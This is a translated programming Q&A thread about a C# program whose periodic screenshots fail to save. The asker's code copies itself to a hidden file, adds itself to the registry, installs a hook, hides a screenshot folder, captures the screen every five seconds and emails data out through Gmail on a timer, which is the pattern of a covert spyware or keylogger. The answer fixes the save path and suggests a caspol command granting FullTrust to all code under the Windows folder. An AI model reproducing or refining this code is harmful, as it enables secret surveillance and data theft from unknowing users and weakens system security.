C#console没有截屏

时间:2017-03-20 02:45:56

标签: c# screenshot

我正在尝试让我的应用程序截取屏幕截图并将其保存在文件夹中,但是除了将屏幕截图保存到文件夹中之外,一切正常。

编辑:以管理员身份运行

编辑2:更改为文档后,文件夹已创建但仍未保存任何屏幕截图。仍然没有错误..

编辑3:

我解决了我的问题,我想我的两个计时器互相干扰了.. 好吧,..

“Application.Run();”

我在两个计时器中都有这个位置。一旦我评论它,它工作正常。例如,参见代码。

Hook();
        if (File.Exists(dest) == false)
        {
            File.Copy(StartupPath(), dest, true);
            File.SetAttributes(dest, FileAttributes.Hidden);
            AddToReg();
        }

         if (Directory.Exists(fsc) == false)
         {
         DirectoryInfo di = Directory.CreateDirectory(fsc);
         di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
         }


        System.Timers.Timer myTimer = new System.Timers.Timer();
        myTimer.Elapsed += new ElapsedEventHandler(Program.sendEMailThroughGmail);
        myTimer.Interval = 60000; //30 mins 1800000
        myTimer.Enabled = true;
        myTimer.AutoReset = true;
        myTimer.Start();
        //Application.Run();
        GC.KeepAlive(myTimer);


        System.Timers.Timer scTimer = new System.Timers.Timer();
        scTimer.Elapsed += new ElapsedEventHandler(Program.Screenshot);
        scTimer.Interval = 5000;
        scTimer.Enabled = true;            
        scTimer.AutoReset = true;
        scTimer.Start();
        Application.Run();
        GC.KeepAlive(scTimer);

        UnHook();

仍然存在无法将文件保存到Windows文件夹的问题。

更新了活动

public static void Screenshot(Object source, ElapsedEventArgs e)
     {
         Random random = new Random();
         try
         {

            Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
            using (Graphics g = Graphics.FromImage(bmp))
            {
                int number = random.Next(1000000);
                int screenwidth = Screen.GetBounds(new Point(0, 0)).Width;
                int screenheight = Screen.GetBounds(new Point(0, 0)).Height;
                g.CopyFromScreen(0, 0, 0, 0, new Size(screenwidth, screenheight));
                bmp.Save(fsc + number + ".jpg", ImageFormat.Jpeg);
                Console.WriteLine("Saved image" + number);
            }

        }
         catch (Exception ep)
         {
             Console.WriteLine("failed to capture screenshot with the following error:");
             Console.WriteLine(ep.Message);
         }

     }

现在创建并保存屏幕截图到我的文档中的文件夹。

谢谢!

仍然希望能够将文件夹和文件保存在Windows文件夹中,但是这可能是一个更大的问题,那时我已经准备好处理了。

1 个答案:

答案 0 :(得分:0)

我尝试了你的代码(.net 4.6,windows 7),我收到错误(在catch块中捕获)“GDI +中发生了一般错误。”那个字符串连接(number + ".jpg部分)对我来说有点怀疑,所以我尝试了几件事:

1)确保目标文件夹存在然后写入(代码有点冗长,但我希望它更容易理解):

//after gfx.CopyFromScreen....
string destinationPath = @"c:\windows\screenshots";
string destinationFileName = string.Format("{0}.{1}", number, "jpg");
if (!Directory.Exists(destinationPath))
    Directory.CreateDirectory(destinationPath);
string destinationFileAndPath = Path.Combine(destinationPath, destinationFileName);
bmpScreenshot.Save(destinationFileAndPath, ImageFormat.Jpeg);

2)尝试保存到应用程序的启动文件夹。

//after gfx.CopyFromScreen....
string destinationFileName = string.Format("{0}.{1}", number, "jpg");
string destinationFileAndPath = Path.Combine(Application.StartupPath, destinationFileName);
bmpScreenshot.Save(destinationFileAndPath, ImageFormat.Jpeg);
这两种解决方案都适合我。

我无法重现您的方案,但我猜测bitmap.Save(由于某种原因)无法写入指定的文件夹。或者也许该文件夹不存在:)

还有第三种可能的解决方案 - 允许在计算机上执行所有代码以解决所有安全问题。

导航到Start -> Visual Studio 2015 -> Visual Studio Tools -> Developer Command Prompt并执行以下命令:

caspol -u -ag All_Code -url c:\windows\* FullTrust

之后,重新启动应用程序(或者您的计算机),然后重试。 再一次,这些都是猜测,但也许有些东西可以帮助你。